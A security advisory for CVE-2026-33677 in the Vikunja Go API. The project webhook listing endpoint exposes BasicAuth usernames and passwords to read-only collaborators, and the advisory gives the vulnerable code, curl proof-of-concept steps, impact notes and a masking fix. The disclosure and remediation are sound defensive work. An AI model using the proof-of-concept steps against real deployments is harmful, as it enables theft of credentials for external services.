CVE-2026-33677 — api
MEDIUMCVE-2026-33677 is a medium-severity (CVSS 6.5) Information Exposure vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.
Webhook BasicAuth Credentials Exposed to Read-Only Project Collaborators via API
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33677.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The GET /api/v1/projects/:project/webhooks endpoint returns webhook BasicAuth credentials (basic_auth_user and basic_auth_password) in plaintext to any user with read access to the project. While the existing code correctly masks the HMAC secret field, the BasicAuth fields added in a later migration were not given the same treatment. This allows read-only collaborators to steal credentials intended for authenticating against external webhook receivers.
Details
When listing project webhooks, the ReadAll method in pkg/models/webhooks.go (line 203) only requires project read access:
// pkg/models/webhooks.go:203-244
func (w *Webhook) ReadAll(s *xorm.Session, a web.Auth, _ string, page int, perPage int) (result interface{}, resultCount int, numberOfTotalItems int64, err error) {
p := &Project{ID: w.ProjectID}
can, _, err := p.CanRead(s, a) // Only requires read permission
if err != nil {
return nil, 0, 0, err
}
if !can {
return nil, 0, 0, ErrGenericForbidden{}
}
// ... fetches webhooks from DB ...
for _, webhook := range ws {
webhook.Secret = "" // HMAC secret is masked
// BasicAuthUser and BasicAuthPassword are NOT masked
if createdBy, has := users[webhook.CreatedByID]; has {
webhook.CreatedBy = createdBy
}
}
return ws, len(ws), total, err
}
The Webhook struct defines both fields with JSON serialization tags, so they are included in API responses:
// pkg/models/webhooks.go:63-64
BasicAuthUser string `xorm:"null" json:"basic_auth_user"`
BasicAuthPassword string `xorm:"null" json:"basic_auth_password"`
The BasicAuth fields were added in migration 20260123000717 ("Add basic auth to webhooks"), but the credential masking logic at line 238 was not updated to include these new fields.
The same issue exists in the user webhook listing at pkg/routes/api/v1/user_webhooks.go:65, where Secret is masked but BasicAuth fields are not. This is lower impact since users only see their own webhooks.
PoC
- As User A (project admin), create a project and a webhook with BasicAuth credentials:
# Create a webhook with BasicAuth on project 1
curl -X PUT "http://localhost:3456/api/v1/projects/1/webhooks" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{
"target_url": "https://external-service.example.com/hook",
"events": ["task.created"],
"secret": "my-hmac-secret",
"basic_auth_user": "service-account",
"basic_auth_password": "S3cretP@ssw0rd!"
}'
- As User B (read-only collaborator on the same project), list webhooks:
curl -s "http://localhost:3456/api/v1/projects/1/webhooks" \
-H "Authorization: Bearer $TOKEN_B" | jq '.[0] | {secret, basic_auth_user, basic_auth_password}'
- Expected output (secret is masked, but BasicAuth is leaked):
{
"secret": "",
"basic_auth_user": "service-account",
"basic_auth_password": "S3cretP@ssw0rd!"
}
Impact
- Credential theft: Any user with read-only access to a project can steal BasicAuth credentials configured on that project's webhooks. These credentials may grant access to external services (CI/CD systems, notification endpoints, third-party APIs).
- Lateral movement: Stolen credentials could be reused to authenticate against external systems that the webhook receiver protects.
- Broad exposure surface: Credentials are exposed to all project readers, including users granted access through team shares and link shares (with read+ permission level).
Recommended Fix
In pkg/models/webhooks.go, add masking for BasicAuth fields alongside the existing Secret masking (around line 237):
for _, webhook := range ws {
webhook.Secret = ""
webhook.BasicAuthUser = ""
webhook.BasicAuthPassword = ""
if createdBy, has := users[webhook.CreatedByID]; has {
webhook.CreatedBy = createdBy
}
}
Apply the same fix in pkg/routes/api/v1/user_webhooks.go (around line 64):
for _, w := range ws {
w.Secret = ""
w.BasicAuthUser = ""
w.BasicAuthPassword = ""
if createdBy, has := users[w.CreatedByID]; has {
w.CreatedBy = createdBy
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | 2.2.1go get code.vikunja.io/api@v2.2.1 |
Affected Products
vikunjavikunjaDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.vikunja.io/api to 2.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33677 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Frequently Asked Questions
Is CVE-2026-33677 in your dependencies?
Find it across Go, including transitive dependencies.